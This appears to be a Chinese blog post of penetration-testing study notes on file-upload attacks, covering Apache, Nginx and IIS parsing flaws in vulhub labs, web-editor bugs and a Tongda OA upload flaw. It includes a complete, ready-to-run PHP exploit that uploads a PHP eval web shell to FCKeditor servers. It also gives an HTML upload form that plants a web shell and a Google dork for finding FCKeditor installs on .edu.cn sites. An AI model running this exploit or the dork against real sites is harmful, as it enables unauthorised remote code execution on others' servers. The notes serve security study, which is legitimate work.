【文件上传】---解析漏洞编辑器安全---day23

【文件上传】---解析漏洞编辑器安全---day23

一、几种中间件解析漏洞简要演示

1、环境搭建

image-20210414100936544

2、Apache解析漏洞---低版本apache 2.x版本

image-20210414101146212

成因:

image-20210414101323449

利用场景:

image-20210414101443287

3、Apache配置安全---vulhub

利用.htaccess配置文件

4、Apache HTTPD 换行解析漏洞 (CVE-2017-15715)

image-20210414101838711

先用bp抓包,然后修改文件名后缀。

5、Nginx解析漏洞---vulhub

image-20210414102620386

此处的版本是nginx/1.17.8

image-20210414102902691

上传一张图片,在这个图片后面写上1.php,文件就会被当作php代码来执行。可以上传图片马。

image-20210414103003610

6、IIS 7解析漏洞

解析漏洞原理和上面的Nginx一样。可以在系统中发现是asp脚本。然后直接找一个图片,在后面加上1.php看看有没有被当作php代码执行。来判断是否存在解析漏洞。

7、Nginx文件名逻辑漏洞(CVE-2013-4547)---vulhub

image-20210414103802168

上传图片马,后面加上个空格。

image-20210414103835880

在青丘的时候,以下面的请求来请求就可以了

image-20210414104025026

image-20210414104200907

访问即可。

二、几种常见WEB编辑器简要演示

编辑器漏洞手册:

https://navisec.it

1、Fckeditor exp利用

fkd2.6.3

①编辑器目录

可以通过扫描网站路径获取到

或者谷歌语法:

inurl:Fckeditor site:edu.cn

image-20210414105433024

②漏洞利用Exp

    <?php
    error_reporting(0);
    set_time_limit(0);
    ini_set("default_socket_timeout", 5);
    define(STDIN, fopen("php://stdin", "r"));
    $match = array();
    function http_send($host, $packet)
    {
    $sock = fsockopen($host, 80);
    while (!$sock)
    {
    print "\n[-] No response from {$host}:80 Trying again...";
    $sock = fsockopen($host, 80);
    }
    fputs($sock, $packet);
    while (!feof($sock)) $resp .= fread($sock, 1024);
    fclose($sock);
    print $resp;
    return $resp;
    }
    function connector_response($html)
    {
    global $match;
    return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
    }
    print "\n+------------------------------------------------------------------+";
    print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
    print "\n+------------------------------------------------------------------+\n";
    if ($argc < 3)
    {
    print "\nUsage......: php $argv[0] host path\n";
    print "\nExample....: php $argv[0] localhost /\n";
    print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
    die();
    }
    $host = $argv[1];
    $path = ereg_replace("(/){2,}", "/", $argv[2]);
    $filename = "fvck.gif";
    $foldername = "fuck.php%00.gif";
    $connector = "editor/filemanager/connectors/php/connector.php";
    $payload = "-----------------------------265001916915724\r\n";
    $payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
    $payload .= "Content-Type: image/jpeg\r\n\r\n";
    $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
    $payload .= "-----------------------------265001916915724--\r\n";
    $packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $payload;
    print $packet;
    if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
    else print "\n[-] Job done! try http://${host}/$match[2] \n";
    ?>

使用方法:

把这个exp放到php环境目录下面。使用php.exe 对这个php文件执行。

image-20210414110112226

image-20210414110221693

2、ueditor漏洞利用

①界面

image-20210414105301316

三、几种常见的CMS文件上传简要演示

1、通达OA系统

①界面

image-20210414111143609

②漏洞利用

原文链接:

https://www.onebug.org/bug/76167.html

image-20210414111400966

 include_once( "inc/conn.php" ); //包含conn.php该文件
  include_once( "inc/utility_file.php" );//包含utility_file.php这个文件
  ob_end_clean( ); //清除缓冲区
  $uploadFileName = $_FILES['Filedata']['name']; //获取上传文件名
  $uploadFile = $_FILES['Filedata']['tmp_name']; //获取上传临时文件地址
  $uploadFileName = iconv( "UTF-8", $MYOA_CHARSET, $uploadFileName ); //转换文件名编码,
//统一utf-8
  if ( is_uploaded_file( $uploadFile ) ) //这里判断是否已经上传了文件,
//如果存在临时文件则执行下面语句
  {
  $pos = strrpos( $uploadFileName, "." ); //取文件名最好一个包含点的位置
  $len = strlen( $uploadFileName ); //获取文件名长度
  $extendType = substr( $uploadFileName, $pos, $len );//取最后的文件名
  if ( strtolower( $extendType ) == ".php" ) //判断后缀是否为.php如果是.php则不执行,
//如果否继续执行下面的语句
  {
  echo "upload file fobidden";
  exit( );
  }
  $localFileName = $_GET['fileName']; //get方式获取文件名 漏洞出现在这里
  $ZLCHAT_ATTACH = "upload/"; //上传目录
  $localFile = "{$ZLCHAT_ATTACH}/temp/".$localFileName; //上传位置,
    //其中$localFileName是可控的变量
  if ( !td_move_uploaded_file( $uploadFile, $localFile ) ) //这里就上传了
  {
  echo "upload failed";
  }
  }
  ?>

image-20210414111427135

 <form id="frmUpload" enctype="multipart/form-data"
 action="http://192.168.56.139/general/vmeet/privateUpload.php?fileName=555.php.111" method="post">Upload 
 anew file:<br>
 <input type="file" name="Filedata" size="50">
     <br>
 <input type="submit" value="Upload”>
 </form>
 <!--http://192.168.56.139/general/vmeet/upload/temp/555.php.111 这里是上传之后的网马-->

四、文件上传思路

1、看网站中间件

看是否存在解析漏洞

2、进入验证和绕过

看对方是黑名单还是白名单,还是内容和其他的东西。

3、看是否是CMS

有没有爆出的CMS漏洞可以利用

4、其他漏洞,编辑器漏洞

posted @ 2021-05-17 21:13  DarkerG  阅读(172)  评论(0编辑  收藏  举报